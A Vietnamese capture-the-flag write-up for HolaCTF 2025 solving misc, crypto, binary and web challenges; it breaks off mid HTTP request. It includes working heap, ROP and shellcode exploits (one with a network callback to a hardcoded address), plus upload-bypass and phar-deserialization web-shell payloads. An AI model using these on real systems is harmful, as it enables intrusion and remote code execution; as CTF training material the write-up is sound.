# HolaCTF 2025 - CyberCh1ck ![image](https://hackmd.io/_uploads/SyPXGjx5gg.png) --- ## MISC ### lunaDBv2 ![image](https://hackmd.io/_uploads/S1cvrogclg.png) Nhận định & Format file * `lunadbv2` thực chất là **tar** (đầu có `ustar`), bên trong có: * `build/main.rs` — source code builder * `build/secret.lunadb` — file DB * DB `secret.lunadb` có chữ ký `LUNA` + các vùng đánh dấu: * `H_START/H_END` — header (tên DB, version, registered name, license bytes…) * `D_START/D_END` — **data** (các note/record) * `F_START/F_END` — **keys** (mỗi key 8 bytes) * Mỗi note được serialize theo thứ tự: ``` u16 note_id string access_token string first_name string last_name string email string title u64 key_index_field (mask 1-bit chỉ vị trí key trong F section; nếu rỗng/invalid thì = 0xFFFFFFFFFFFFFFFF) bytes encrypted_content (DES-ECB, PKCS#7, key 8 bytes) u64 creation_ts u64 modification_ts u8 is_suspended (bool) ``` * **Mã hoá:** `DES-ECB` (OpenSSL), pad PKCS#7, key 8 byte lấy từ `F_START..F_END`. `key_index_field` là bitmask 64-bit: vị trí bit set = index key. Khai thác * Parse `F` để lấy danh sách key 8 byte. * Iterate từng note trong vùng `D`, lấy `key_index_field` ⇒ index key ⇒ DES-ECB decrypt `encrypted_content` ⇒ bóc pad ⇒ đọc UTF-8. * Tìm note có chứa `HOLACTF{`. Kết quả GPT đã parse và decrypt được **5002** note, trong đó có 1 note chứa flag: **Flag:** `HOLACTF{4_c0Ol_Cu5t0m_f1lE_5truC7}` --- ### Sanity Check ![image](https://hackmd.io/_uploads/HyZYSog5le.png) Inspect vào https://holactf2025.ehc-fptu.club/posts/afc27b80 rồi ctrl+f là ra: ![image](https://hackmd.io/_uploads/r125S2lcll.png) > Flag: HOLACTF{th1s_s4n1ty_ch3ck_1s_w1ld} --- ### Weird png ![image](https://hackmd.io/_uploads/SJW9Sseqee.png) Phân tích nhanh * File `weird.png` có header PNG hợp lệ (`89504e47…`) nhưng **CRC của IHDR = 0**, nên mở bằng viewer sẽ fail. * Kích thước đúng **512 bytes** và **kết thúc bằng `0x55AA`** → chuẩn **boot sector** (MBR) ngụy trang dạng PNG. * Từ offset sau IHDR thấy bytecode **16-bit real mode**: `8C C8 (mov ax, cs)`, `8E D8 (mov ds, ax)`, … và có `int 10h` (BIOS teletype) → bootloader in thông điệp. * Chuỗi không nằm “trần” trong file: code **build chuỗi trên stack** bằng các cặp lệnh `mov ax, imm16; xor ax, 0x1234; push ax`, rồi `mov bp, sp` và loop: ``` mov al, [bp] inc bp or al, al jz end mov ah, 0x0E int 10h jmp loop ``` ⇒ Ta chỉ cần trích các immediate, **gỡ XOR 0x1234**, đảo thứ tự push (vì in từ đáy stack) và ghép theo little-endian. Flag **`HOLACTF{3A5Y_b0OT_104D3R_727_}`** ```python! import sys, zipfile def read_bytes(path): if path.lower().endswith(".zip"): with zipfile.ZipFile(path, "r") as z: name = next(n for n in z.namelist() if n.lower().endswith(".png")) return z.read(name) return open(path, "rb").read() def extract_flag(data): code = data[33:] # skip PNG sig+IHDR vals = [] i = 0 ax = None while i < len(code): b = code[i] if b == 0xB8: # mov ax, imm16 ax = int.from_bytes(code[i+1:i+3], 'little') i += 3 elif b == 0x35: # xor ax, imm16 imm = int.from_bytes(code[i+1:i+3], 'little') if ax is not None: ax ^= imm i += 3 elif b == 0x50: # push ax if ax is not None: vals.append(ax) i += 1 else: i += 1 # reverse stack order + little endian buf = b''.join(v.to_bytes(2,'little') for v in reversed(vals)) return buf.split(b'\x00',1)[0].decode() if __name__ == "__main__": path = sys.argv[1] if len(sys.argv)>1 else "weird.png" data = read_bytes(path) print(extract_flag(data)) ``` > ![image](https://hackmd.io/_uploads/Bky7Shlqgg.png) --- ### the REGEX ![image](https://hackmd.io/_uploads/H1boSjeqgx.png) Ý tưởng & Quan sát * Server cho 10 round; mỗi round trả về **regex đã neo** (`^…$`), yêu cầu 1 chuỗi **ASCII printable** (0x20–0x7E), ≤256 bytes, đúng trong **<5s**. * Pattern kiểu “boss” dùng **xếp chồng lookahead**: * Khóa độ dài: `(?=.{N}$)` hoặc `(?:.{N})$`. * Ép ký tự tại vị trí k: `(?=.{k}[class])`, `(?=.{k}X)`, `(?=.{k}\d|\w|\s|…)`. * Ràng buộc **bằng nhau** với named group: `(?=.{a}(?P<X>… ).{b}(?P=X))` ⇒ vị trí `a` và `a+1+b` phải giống nhau (và cùng nằm trong class/literal đó). Chiến lược * Biến regex → **bài toán ràng buộc ký tự theo vị trí** (CSP): 1. Lấy N. 2. Khởi tạo `allowed[i] = {tất cả printable}` cho i∈\[0..N-1]. 3. Với mỗi lookahead: * `(?=.{k}[S])` ⇒ `allowed[k] ∩= parse_class(S)`. * `(?=.{k}X)` ⇒ `allowed[k] ∩= {X}`; với `\d \w \s \D \W \S` thì map sang tập tương ứng. * `(?=.{a}(?P<X>Cap).{b}(?P=X))` ⇒ `allowed[a] ∩= set(Cap)` và `allowed[a+1+b] ∩= set(Cap)`; thêm cặp **bằng nhau** `(a, a+1+b)`. 4. Lan truyền ràng buộc: nếu một bên của cặp đã cố định, gán bên còn lại; vị trí chỉ còn 1 ký tự thì chốt. 5. Điền nốt phần còn lại (chọn bất kỳ ký tự trong `allowed[i]`), rồi **verify** bằng `re.fullmatch()`; nếu không khớp thì thử ngẫu nhiên trong miền cho đến khi khớp. Ví dụ round mẫu ``` ^(?=.{10}$)(?=.{3}[f-w])(?=.{4}[f-y])(?=.{6}[d-z]) (?=.{3}(?P<E0>o).{1}(?P=E0))(?=.{1}(?P<E1>V).{5}(?P=E1))(?:.{10})$ ``` Suy ra (đánh số từ 0): * pos1='V' và pos7='V'; pos3='o', pos5='o'; * pos4∈\[f–y], pos6∈\[d–z]. Chọn phần còn lại tùy ý ⇒ chuỗi hợp lệ: `AVBofodVCD`. Khai thác (automation) * Viết client TCP đọc regex từng dòng → áp dụng thuật toán trên → gửi đáp án. * Sau 10/10 round server in `HOLACTF{...}`. * Lệnh chạy (ví dụ): `python regx.py --host 127.0.0.1 --port 54522` Lưu ý * Chỉ dùng ký tự printable; **dot `.`** trong ràng buộc vị trí coi như “không hạn chế”. * Đảm bảo thời gian mỗi round <5s ⇒ hiện thực theo ràng buộc vị trí (không brute force toàn chuỗi). * Có thể cần hỗ trợ `\d \w \s` và phủ định của chúng; còn lại hiếm khi xuất hiện. > Kết luận: coi regex lookahead như các “luật” cục bộ theo chỉ số ký tự, giải dưới dạng CSP → build chuỗi hợp lệ → tự động hóa 10 vòng để lấy flag. ```python! #!/usr/bin/env python3 # -*- coding: utf-8 -*- """ REGEX EXTREME – fully automated TCP solver (stdlib only) - Connects to host/port, reads each round's regex, constructs a matching ASCII-printable string under 256 bytes, and submits within 5 seconds. - Handles common "final boss" pattern style: total-length guard, stacked lookaheads that pin characters at positions via char-classes or literals, and equality constraints via named-group backreferences. Usage: python3 regex_flag_runner.py --host 127.0.0.1 --port 54522 # or dry-run a single pattern locally: python3 regex_flag_runner.py --dry "^(?=.{10}$)(?=.{3}[f-w])...$" """ import argparse, socket, sys, re, random, time PRINTABLE = [chr(i) for i in range(0x20, 0x7F)] PRINTABLE_SET = set(PRINTABLE) DIGITS = set("0123456789") & PRINTABLE_SET LOWER = set("abcdefghijklmnopqrstuvwxyz") & PRINTABLE_SET UPPER = set("ABCDEFGHIJKLMNOPQRSTUVWXYZ") & PRINTABLE_SET ALPHA = LOWER | UPPER WORD = ALPHA | DIGITS | set("_") SPACE = set(" ") # printable whitespace within the allowed range DOTSET = PRINTABLE_SET # for '.' wildcard in our constraint context def token_set(tok: str) -> set: if tok == 'd': return DIGITS if tok == 'w': return WORD if tok == 's': return SPACE if tok == 'D': return PRINTABLE_SET - DIGITS if tok == 'W': return PRINTABLE_SET - WORD if tok == 'S': return PRINTABLE_SET - SPACE return None def parse_char_class(body: str) -> set: """ Parse a character class body like '^A-F0-9_\s' (supports \d \w \s and their negations). Keeps result within printable ASCII. Basic ranges (a-z) are supported. """ s = set() invert = False i = 0 if body.startswith('^'): invert = True body = body[1:] while i < len(body): c = body[i] if c == '\\' and i+1 < len(body): t = body[i+1] ts = token_set(t) if ts is not None: s.update(ts); i += 2; continue # escape sequence as literal (e.g. \], \-, \{, \}) s.add(t); i += 2; continue if i+2 < len(body) and body[i+1] == '-' and body[i+2] != ']': start = body[i]; end = body[i+2] # clamp to printable rng = [chr(x) for x in range(ord(start), ord(end)+1)] s.update(ch for ch in rng if ch in PRINTABLE_SET) i += 3 else: s.add(c); i += 1 s = s & PRINTABLE_SET return (PRINTABLE_SET - s) if invert else s def first_or_default(it, default=None): for x in it: return x return default # --- Constraint patterns ------------------------------------------------------- # length guard styles LENGTH_RE = re.compile(r"\(\?=\.\{(\d+)\}\$\)") LENGTH_ALT_RE = re.compile(r"\(\?:\.\{(\d+)\}\)\$") # class-at-position: (?=.{k}[...]) CLASS_AT_POS_RE = re.compile(r"\(\?=\.\{(\d+)\}\[([^\]]+)\]\)") # literal-at-position: (?=.{k}X) or escaped like (?=.{k}\{) or token (?=.{k}\d) etc. LITERAL_AT_POS_RE = re.compile(r"\(\?=\.\{(\d+)\}(\\.|[^\\\[\(])\)") # named backref pair: (?=.{a}(?P<NAME>[... or literal]).{b}(?P=NAME)) EQ_PAIR_NAMED_RE = re.compile( r"\(\?=\.\{(\d+)\}\(\?P<([A-Za-z_]\w*)>(\[.*?\]|\\?.)\)\.\{(\d+)\}\(\?P=\2\)\)" ) def build_constraints(pat: str): # Length N N = None m = LENGTH_RE.search(pat) if m: N = int(m.group(1)) else: m2 = LENGTH_ALT_RE.search(pat) if m2: N = int(m2.group(1)) if N is None: N = 32 # fallback allowed = [set(PRINTABLE) for _ in range(N)] eq_pairs = [] # list[(a,b)] requiring equality (and same allowed set if capture is a class) # apply class-at-position for m in CLASS_AT_POS_RE.finditer(pat): pos = int(m.group(1)) cls_body = m.group(2) cls_set = parse_char_class(cls_body) if 0 <= pos < N: allowed[pos] &= cls_set # apply literal/token at position for m in LITERAL_AT_POS_RE.finditer(pat): pos = int(m.group(1)) raw = m.group(2) if raw.startswith('\\') and len(raw) == 2: ts = token_set(raw[1]) if ts is not None: if 0 <= pos < N: allowed[pos] &= ts continue lit = raw[1] else: lit = raw if lit == '.': # wildcard -> no extra constraint beyond printable continue if 0 <= pos < N: allowed[pos] &= {lit} # equality pairs via named capture + backref for m in EQ_PAIR_NAMED_RE.finditer(pat): start = int(m.group(1)) cap = m.group(3) gap = int(m.group(4)) pos_a = start pos_b = start + 1 + gap if not (0 <= pos_a < N and 0 <= pos_b < N): continue if cap.startswith('[') and cap.endswith(']'): cls_set = parse_char_class(cap[1:-1]) allowed[pos_a] &= cls_set allowed[pos_b] &= cls_set eq_pairs.append((pos_a, pos_b)) else: # literal or escaped token/char if cap.startswith('\\') and len(cap) == 2: ts = token_set(cap[1]) if ts is not None: allowed[pos_a] &= ts allowed[pos_b] &= ts eq_pairs.append((pos_a, pos_b)) continue lit = cap[1] else: lit = cap[0] allowed[pos_a] &= {lit} allowed[pos_b] &= {lit} # technically eq constraint is implied already return N, allowed, eq_pairs def realize_string(N, allowed, eq_pairs, pat, max_tries=4000): # Greedy fixpoint for forced positions s = [None]*N changed = True while changed: changed = False # singletons for i in range(N): if s[i] is None and len(allowed[i]) == 1: s[i] = next(iter(allowed[i])); changed = True # propagate equalities for a,b in eq_pairs: if s[a] is not None and s[b] is None and s[a] in allowed[b]: s[b] = s[a]; changed = True if s[b] is not None and s[a] is None and s[b] in allowed[a]: s[a] = s[b]; changed = True # deterministic fill (prefer smallest char to be reproducible) def pick_lowest(st: set): return min(st) if st else None t = list(s) # fill eq-pairs from intersections for a,b in eq_pairs: inter = allowed[a] & allowed[b] if not inter: break if t[a] is None and t[b] is None: ch = pick_lowest(inter) t[a] = ch; t[b] = ch elif t[a] is None and t[b] in inter: t[a] = t[b] elif t[b] is None and t[a] in inter: t[b] = t[a] # fill remaining ok = True for i in range(N): if t[i] is None: if not allowed[i]: ok = False; break t[i] = pick_lowest(allowed[i]) if ok: cand = "".join(t) try: if re.fullmatch(pat, cand): return cand except re.error: pass # randomized repair rng = random.Random(2025) for _ in range(max_tries): t = list(s) # eq-pairs for a,b in eq_pairs: inter = allowed[a] & allowed[b] if not inter: break if t[a] is None and t[b] is None: ch = rng.choice(list(inter)); t[a]=ch; t[b]=ch elif t[a] is None and t[b] in inter: t[a] = t[b] elif t[b] is None and t[a] in inter: t[b] = t[a] # remaining valid = True for i in range(N): if t[i] is None: if not allowed[i]: valid = False; break t[i] = rng.choice(list(allowed[i])) if not valid: continue cand = "".join(t) try: if re.fullmatch(pat, cand): return cand except re.error: # If the service uses a slightly different flavor, still try random pass # hail mary: random printable of length N until it fits for _ in range(max_tries): cand = "".join(random.choice(PRINTABLE) for _ in range(N)) try: if re.fullmatch(pat, cand): return cand except re.error: break raise ValueError("Failed to realize string for pattern") def solve_one(pat: str) -> str: pat = pat.strip() N, allowed, eq_pairs = build_constraints(pat) return realize_string(N, allowed, eq_pairs, pat) # --- IO (TCP + line reader) --------------------------------------------------- def recvline(sock, buf): while b"\n" not in buf[0]: chunk = sock.recv(4096) if not chunk: break buf[0] += chunk if b"\n" in buf[0]: line, buf[0] = buf[0].split(b"\n", 1) return line.decode("utf-8", "ignore") if buf[0]: line = buf[0]; buf[0] = b"" return line.decode("utf-8", "ignore") return "" def run_tcp(host: str, port: int): print(f"[+] Connecting to {host}:{port} ...") with socket.create_connection((host, port), timeout=10) as s: s.settimeout(10) buf = [b""] flag = None while True: line = recvline(s, buf) if line == "": break print(line) if "HOLACTF{" in line: flag = line.strip() break # Detect the regex line (usually starts with ^ and ends with $) if re.match(r"\s*\^.*\$\s*$", line): pat = line.strip() try: ans = solve_one(pat) except Exception as e: print("[!] Solver fallback due to:", e) # try quick randoms with detected length m = LENGTH_RE.search(pat) or LENGTH_ALT_RE.search(pat) L = int(m.group(1)) if m else 10 for _ in range(1000): cand = "".join(random.choice(PRINTABLE) for _ in range(L)) try: if re.fullmatch(pat, cand): ans = cand; break except re.error: ans = cand; break else: ans = "A"*L s.sendall((ans + "\n").encode()) print(f"Answer> {ans}") if flag: print("[+] FLAG:", flag) else: print("[*] Disconnected (flag not detected in stream).") def run_dry(pat: str): print("[dry] pattern:", pat) ans = solve_one(pat) print("[dry] answer :", ans) def main(): ap = argparse.ArgumentParser() ap.add_argument("--host", default="127.0.0.1") ap.add_argument("--port", type=int, default=54522) ap.add_argument("--dry", help="Solve one pattern locally and exit") args = ap.parse_args() if args.dry: run_dry(args.dry) else: run_tcp(args.host, args.port) if __name__ == "__main__": try: main() except Exception as e: print("[!] Error:", e) finally: input("\nDone. Press Enter to exit...") ``` > ![image](https://hackmd.io/_uploads/SkUI8hgqlx.png) --- ## CRYPTO ### Cs2Trash ![image](https://hackmd.io/_uploads/Bk848ol5eg.png) Thử thách mã hóa cùng một thông điệp với e=65537 dưới ba môđun khác nhau. Mỗi môđun cho trước thực chất là số nguyên tố, do đó φ(n)=n−1 đã biết. Điều này có nghĩa là bạn có thể tính số mũ riêng d≡e⁻¹ (mod n−1) và giải mã chỉ với một trong ba bộ ba (do đó "một môđun là đủ"). ```python! from Crypto.Util.number import long_to_bytes e = 65537 n = 106274132069853085771962684070654057294853035674691451636354054913790308627721 c = 40409669713698525444927116587938485167766997176959778633087672968720888190012 d = pow(e, -1, n-1) # n is prime ⇒ φ(n)=n-1 m = pow(c, d, n) print(long_to_bytes(m)) # b'HOLACTF{ju5t_a_b4s1c_CRT}' ``` --- ### EnigmaHardCode ![image](https://hackmd.io/_uploads/H1FrIil5lg.png) Tóm tắt * Cho: 3 rotor + ring, 1 reflector, plugboard thiếu **1 dây**, và ciphertext * Dựa vào flag format `HOLACTF{.*}` → dùng “crib” **`HOLACTF{`** để suy luận cấu hình còn thiếu. Cấu hình máy * **Reflector:** UKW-C `FVPJIAOYEDRZXWGCTKUQSBNMHL` * **Rotors (L-M-R):** `II – III – I` * II `AJDKSIRUXBLHWTMCQGZNPYFVOE` (**Ring E**) * III `BDFHJLCPRTXVZNYEIWGAKMUSQO` (**Ring H**) * I `EKMFLGDQVZNTOWYHXUSPAIBRCJ` (**Ring C**) * **Plugboard (từ hình):** `AO, DP, ER, FT, IU, JW, KY, LX` + **thiếu 1 cặp** * **Crib:** “`HOLACTF{`” Chiến lược 1. Giữ nguyên reflector, thứ tự rotor và **ringstellung** theo đề. 2. Dùng crib-drag: thử toàn bộ **Grundstellung** (26³) đồng thời brute-force **cặp dây còn thiếu** (chọn trong các chữ chưa cắm). 3. Với mỗi cấu hình, chỉ giải 8 ký tự đầu để kiểm tra có ra **`HOLACTF{`** hay không → lọc cực nhanh. 4. Thu được đúng **1 nghiệm**. Nghiệm duy nhất * **Grundstellung:** `V M X` * **Cặp dây còn thiếu:** `C ↔ V` * (Plugboard đầy đủ: `AO, DP, ER, FT, IU, JW, KY, LX, CV`) > Ý tưởng chính: dùng định dạng flag làm **crib** để khóa được cả vị trí rotor lẫn cặp plugboard bị mất. Chỉ một cấu hình khớp → flag duy nhất. --- ### ImLosingYou ![image](https://hackmd.io/_uploads/HJq88sgcex.png) Vì đề dùng e=2 và thông điệp m đủ nhỏ so với n nên m² < n ⇒ phép “mod n” không làm thay đổi gì: c chính là m² trong số học thường. Chỉ cần lấy căn nguyên vẹn của c là ra m; kiểm tra thêm thấy m − mod_m là một số 79-bit, khớp với getrandbits(80). ```python! from math import isqrt n = 5655306554322573...266488587 c = 2490644801761448...682934025 mod_m = 4990636033374352...602090122856806 m = isqrt(c) assert m*m == c # chứng minh c là perfect square flag = m.to_bytes((m.bit_length()+7)//8, 'big').decode() print(flag) # HOLACTF{f33ls_l1k3_l0s1ng_h3r} # kiểm tra “lost part” delta = m - mod_m print(delta.bit_length()) # 79 (≈ getrandbits(80)) ``` --- ### Vigenere có dấu? ![image](https://hackmd.io/_uploads/BJYvUje9ll.png) 1. **Dùng đúng bảng chữ cái** như trên để ánh xạ chỉ số ký tự (mod 89). 2. **Kasiski** trên ciphertext (bỏ khoảng trắng/punct.): khoảng cách các lặp cho thấy **key length = 7**. 3. Với $k=7$, **tối ưu từng cột** (Caesar theo bảng trên) bằng một hàm chấm điểm ngôn ngữ Việt (đếm bigram/word phổ biến như *ng, nh, ch, th, qu, không, được, trong,…* sau khi **bỏ dấu** để chấm). 4. Ra **key = `phuthuy`**, giải toàn bộ là tiếng Việt mạch lạc. Đoạn cuối ghi rõ: *“câu chuyện hay đúng không? còn đây là flag của bạn, hãy cho nó … cách bằng gạch dưới, bỏ hết dấu tiếng việt trước khi nộp nhé: "krische độc ác"”* ⇒ Chuẩn hoá → **`krische_doc_ac`** ⇒ **`HOLACTF{krische_doc_ac}`**. --- ## PWN ### Babyheap ![image](https://hackmd.io/_uploads/Hke5dLje9lx.png) - Đây là một bài heap với bug double free khi bài không check xem `book` đã được free hay chưa. - Hơn nữa nó còn không memset vùng data khiến ta có thể leak được libc. Còn heap ta dùng [cái này](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/decrypt_safe_linking.c). Mình bruce force 1 byte heap. - Về kĩ thuật mình dùng [cái này](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/fastbin_dup_into_stack.c). Mình ghi đè con trỏ của tcache rồi FSOP để lấy shell. - Final script: ```py #!/usr/bin/python3 from pwn import * from time import sleep # context.log_level='debug' e = ELF('chall_patched', checksec=False) l = ELF('libc.so.6', checksec=False) context.binary = e info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) sln = lambda msg, num: sla(msg, str(num).encode()) sn = lambda msg, num: sa(msg, str(num).encode()) r = lambda nbytes: p.recv(nbytes) ru = lambda data: p.recvuntil(data) bin = lambda : next(l.search(b'/bin/sh')) while True: try: if args.REMOTE: p = remote('127.0.0.1',45953) else: p = process(e.path) def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' brva 0x000000000000133A c ''') def create(idx, size, content): sla(b'>', b'1') sln(b':', idx) sln(b':', size) sa(b':', content) def delete(idx): sla(b'>', b'2') sln(b':', idx) def show(idx): sla(b'>', b'3') sln(b':', idx) def algo(cipher: int) -> int: key = 0 plain = 0 for i in range(1, 6): bits = 64 - 12 * i if bits < 0: bits = 0 mask64 = (1 << 64) - 1 plain = (((cipher ^ key) >> bits) << bits) & mask64 key = plain >> 12 print(f"round {i}:") print(f"key: {key:#018x}") print(f"plain: {plain:#018x}") print(f"cipher: {cipher:#018x}\n") return plain create(0,0x500,b'a') create(1,0x50,b'a') create(2,0x50,b'a') delete(2) delete(1) delete(0) create(0,0x50,b'a') show(0) ru(b'tent: ') leak = u64(r(6).ljust(8,b'\x00')) log.info(f"leak: {hex(leak)}") result = algo(leak)-0x870 print(f"result: {result:#018x}") if result & 0xff == 0x00: info(success("Found correct plain!")) pass else: continue create(1,0x60,b'a') show(1) ru(b'tent: ') l.address = u64(r(6).ljust(8,b'\x00'))-0x21b161 log.info(f"l.address: {hex(l.address)}") create(0,0x200,b'a') create(1,0x200,b'a') delete(0) delete(1) for i in range(9): create(i,0x70,b'a') for i in range(7): delete(i) delete(7) delete(8) delete(7) for i in range(7): create(i,0x70,b'a') # sl(b'') # p.wait(0.2) # sla(b'>', b'1') # sln(b':', 7) # sln(b':', 0x70) # s(p64(((result+0xb70)>>12)^(result+0x520))) create(0,0x70,p64(((result+0xb70)>>12)^(result+0x520))) create(0,0x70,p64(((result+0xb70)>>12)^(result+0x520))) create(0,0x70,p64(((result+0xb70)>>12)^(result+0x520))) create(0,0x70,p64(((result+0x520)>>12)^(l.sym._IO_2_1_stdout_))) create(0,0x200,b'a') fp = FileStructure() fp.flags = b' sh\0' fp._lock = p64(l.sym['_IO_stdfile_1_lock']) fp._wide_data = p64(l.sym['_IO_2_1_stdout_']-0x10) fp.unknown2 = p64(0)*4 + p64(l.sym['system']) + p64(l.sym['_IO_2_1_stdout_']+0x60) fp.vtable = p64(l.address+0x216f58-0x38) payload = bytes(fp) GDB() create(0,0x200,payload) p.interactive() except Exception as e: pass # print(e) # continue ``` --- ### Login ![image](https://hackmd.io/_uploads/SJHFIje9xx.png) - Bài này ta có thể dùng hàm kiểm tra này để bruce force canary vì nó chỉ kiểm tra đến độ dài của một trong hai biến, từ đó ROP leak libc ([kĩ thuật](https://sashactf.gitbook.io/pwn-notes/pwn/rop-2.34+/ret2gets#leaking-libc)) và lấy shell: ![image](https://hackmd.io/_uploads/ry_Ttnlcel.png) - Final scipt: ```py #!/usr/bin/python3 from pwn import * from time import sleep context.log_level='debug' # e = ELF('chall_patched', checksec=False) l = ELF('libc.so.6', checksec=False) context.binary = e info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) sln = lambda msg, num: sla(msg, str(num).encode()) sn = lambda msg, num: sa(msg, str(num).encode()) r = lambda nbytes: p.recv(nbytes) ru = lambda data: p.recvuntil(data) bin = lambda : next(l.search(b'/bin/sh')) if args.REMOTE: p = remote('127.0.0.1',35715) else: p = process(e.path) def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' b*0x000000000040158B c ''') GDB() known_canary = b'\xff' log.info("Starting canary brute-force...") log.info(f"Known canary so far: {known_canary.hex()}") for i in range(1, 8): found_byte = False for byte_val in range(1,256): payload = known_canary payload += bytes([byte_val])+b'\x00' sla(b':',b'1') sa(b'password:',payload) output = p.recvline() output = p.recvline() info(output) if b'Login successfully!' in output: known_canary += bytes([byte_val]) log.success(f"Found byte: {hex(byte_val)}") log.info(f"Known canary so far: {known_canary.hex()}") found_byte = True break info(known_canary[::-1]) patched = known_canary.replace(b"\xff", b"\x00") sla(b':',b'2') sla(b':',b'\x00'*0x38+patched+p64(0x4043e0+0x40+0x300)+p64(e.plt.gets)*2+p64(0x000000000040101a)+p64(e.plt.printf)+p64(0x00000000004014E0)) sla(b':',b'3') sleep(0.2) sl(b"a") sleep(0.2) sl(b"%21$" + p8(u8(b"p")+1)) raw=p.recvuntil(b'40',drop=False) leaked_str = raw.decode().strip() value = int(leaked_str, 16) l.address = value-0x29e40 info(f"libc base: {hex(l.address)}") sl(b'\x00'*0x38+patched+p64(0x404018+0x40)+p64(l.address+0x000000000002a3e5)+p64(bin())+p64(0x000000000040101a)+p64(l.sym.system)) p.interactive() ``` --- ### Mute ![image](https://hackmd.io/_uploads/rJG98se9gx.png) - Đây là một bài revert shell, vì mình thử lấy shell không được nên mình cat thằng flag luôn. - Final script: ```py #!/usr/bin/python3 from pwn import * from time import sleep context.log_level='debug' e = ELF('chall', checksec=False) context.binary = e info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) sln = lambda msg, num: sla(msg, str(num).encode()) sn = lambda msg, num: sa(msg, str(num).encode()) r = lambda nbytes: p.recv(nbytes) ru = lambda data: p.recvuntil(data) bin = lambda : next(l.search(b'/bin/sh')) if args.REMOTE: p = remote('127.0.0.1',38301) else: p = process(e.path) def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' b*0x40133a c ''') asm_code =asm( """ mov rax, 41 mov rdi, 2 mov rsi, 1 xor rdx, rdx syscall mov rdi, rax mov rcx, 0x2415a28b059e0002 push 0 push rcx mov rsi, rsp mov rdx, 16 mov rax, 42 syscall mov rsi, 0 dup_loop: mov rax, 33 syscall inc rsi cmp rsi, 3 jne dup_loop xor rsi, rsi push rsi xor rdx, rdx push rdx mov rax, 0x7478742e67616c66 push rax mov r9, rsp push rdx mov rax, 0x7461632f6e69622f push rax mov r8, rsp push rdx push r9 push r8 mov rsi, rsp mov rdi, r8 push 59 pop rax syscall """) s(asm_code) p.interactive() ``` --- ### File manager ![image](https://hackmd.io/_uploads/SJVjLieqge.png) - Bài này đã hạn chế việc mở file flag.txt và self. Nhưng có một trick đó là thay self bằng pid là được. Ta chỉ cần DEBUG và xem thử lúc đấy pid và fd của file flag.txt là bao nhiêu. - Payload: `/proc/9/fd/6` ## WEB ### Sanity check ![image](https://hackmd.io/_uploads/Byo2Iieqxl.png) Chall cho route `/update` để ghi dữ liệu vào file nhưng filter chỉ kí tự `0` và `1`. Để get được flag thì ta cần có `Holactf` trong nội dung file. ![image](https://hackmd.io/_uploads/HyShihZqee.png) Ở đây dữ liệu được truyền vào dưới dạng `json` nên chúng ta có truyền vào dưới dạng `dict` để bypass ![image](https://hackmd.io/_uploads/H1mN32Zqgl.png) ``` import requests BASE_URL = 'http://localhost:5000' z = ['0' * (i + 1) for i in range(256)] o = ['0' * i + '1' for i in range(256)] d = {key: '' for key in z + o} d['0'] = 'Holactf' s = requests.Session() s.post(f'{BASE_URL}/', data={'username': 'sdcclds'}) p = {'data': d} s.post(f'{BASE_URL}/update', json=p) resp = s.get(f'{BASE_URL}/get_flag') if resp.status_code == 200: fl = resp.json().get('flag') print(fl) ``` --- ### another_hell_ehc ![image](https://hackmd.io/_uploads/B18pIslqlx.png) Đây là một chall về bug upload file, phân tích source ta thấy chỉ cho phép upload `jpg`, `jpeg`, `png`, `gif`. Và còn có openresty. ![image](https://hackmd.io/_uploads/rkD1RnZ5ee.png) Để ý `$fileExt` filter không kĩ, ta có thể bypass bằng `img.jpg.php`. Bên cạnh đó là `filename` ta có thể path travelsal để ghi file vào `/var/www/html` thay vì folder `upoad/user/` -> `../../img.jpg.php`. Tiếp đến là bypass openresty, tìm thấy blog về bypass openresty trên `multipart/form-data`. Bài viết mồ tả về `openresty` sẽ nhận param `filename` thứ nhất, trong khi `php` sẽ nhận param thứ hai. Ta chỉ cần truyền param `filename` là `img.jpg` và thứ hai là `../../img.jpg.php`. ![image](https://hackmd.io/_uploads/rygZEpZ9gx.png) Cuối cùng là RCE `/index.php?page=img.jpg.php&cmd=cat+/flag*`. ![image](https://hackmd.io/_uploads/SyrGVa-qgl.png) --- ### hell_ehc ![image](https://hackmd.io/_uploads/Hy-R8ig5lg.png) Đây là chall về bug phar deserialiation. Ta thấy chall có upload file và `unserialize` ![image](https://hackmd.io/_uploads/HJ2x8p-5ll.png) `unserialize` chỉ cho phép class `User` và `LogFile`. ![image](https://hackmd.io/_uploads/BJZU86Wcxx.png) Quan sát thấy magic method `__destruct` gọi tới `md5_file`, đây là một hàm chấp nhận protocol `phar://`. Thì stage chall này như sau: upload phar chứa payload RCE -> serialize class `LogFile` để trigger phar -> RCE. ``` <?php class Logger { public function __destruct() { } } $phar = new Phar('khiempppd.phar'); $phar->startBuffering(); $phar->addFromString('test.txt', 'text'); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $object = new Logger(); $object->logs = '/var/www/html/index.php'; $object->request = 'system($_GET[\'cmd\']); ?>'; $phar->setMetadata($object); $phar->stopBuffering(); ``` > gen phar ``` <?php class LogFile { public $filename; public function __destruct() { } } $object = new LogFile(); $object->filename = 'phar:///var/www/html/upload/dvkfdkvkdm/khiempppd.jpg'; echo base64_encode(serialize($object)); ``` > gen payload trigger phar ``` GET /?page=upload HTTP/1.1 Host: localhost:9001 Cache-Control: max-age=0 sec-ch-ua: "Not.A/Brand";v="99", "Chromium";v="136" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Language: en-US,en;q=0.9 Origin: http://localhost:9001 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 